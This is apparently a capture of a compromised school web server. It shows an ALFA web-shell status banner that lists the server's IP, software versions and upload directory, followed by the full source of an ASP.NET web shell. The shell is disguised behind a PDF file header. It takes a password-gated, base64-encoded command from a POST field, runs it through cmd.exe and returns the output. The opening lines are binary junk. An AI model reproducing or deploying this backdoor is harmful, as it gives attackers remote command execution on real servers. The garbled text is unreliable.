%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : www.kowitt.ac.th / Your IP : 216.73.216.118 Web Server : Microsoft-IIS/7.5 System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586 User : IUSR ( 0) PHP Version : 5.6.31 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/inetpub/wwwroot/activity/upload_images/js/ALFA_DATA/alfacgiapi/ |
Upload File : |
<%@ Page Language="C#" EnableViewState="false" %> <%@ Import Namespace="System.Web.UI.WebControls" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.IO" %> <% string cmd = Request.Form["cmd"]; string check = Request.Form["check"]; if(check == "W3NvbGV2aXNpYmxlfmFwaV0="){ byte[] data = System.Convert.FromBase64String(cmd); cmd = System.Text.ASCIIEncoding.ASCII.GetString(data); Process p = new Process(); p.StartInfo.CreateNoWindow = true; p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + cmd; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.WorkingDirectory = "/"; p.Start(); string output = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd(); Response.Write("[solevisible~api]<pre>"+output+"</pre>"); } %>